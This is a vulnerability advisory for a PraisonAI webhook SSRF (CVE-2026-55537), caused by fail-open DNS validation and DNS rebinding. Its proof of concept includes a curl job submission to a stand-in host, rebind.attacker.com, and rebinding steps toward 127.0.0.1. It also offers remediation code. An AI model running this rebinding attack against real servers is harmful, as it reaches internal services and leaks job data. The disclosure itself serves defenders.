CVE-2026-55537: PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
Summary praisonai/jobs/models.py::JobSubmitRequest.validatewebhookurl() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass.
Published Aug 25, 2026
Affected packages
PraisonAI
- Ecosystem
- PyPI
- Affected
- < 4.6.58
- Fixed in
- 4.6.58
- Check
pip show PraisonAI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
- Submit a job with
webhook_urlpointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror→pass) - Update DNS to point that hostname to
127.0.0.1or another private IP - When the job completes,
_send_webhook()resolves the hostname fresh → POST sent to the internal IP
Details
Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return vWhen socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRFRelation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities:
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
VULNERABLE
except socket.gaierror: pass
FIXED
except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )
**Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**
async def _send_webhook(self, job: Job): if not job.webhook_url: return
Re-validate to prevent DNS rebinding
try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return
... proceed with httpx.post
Credited to evertrustai.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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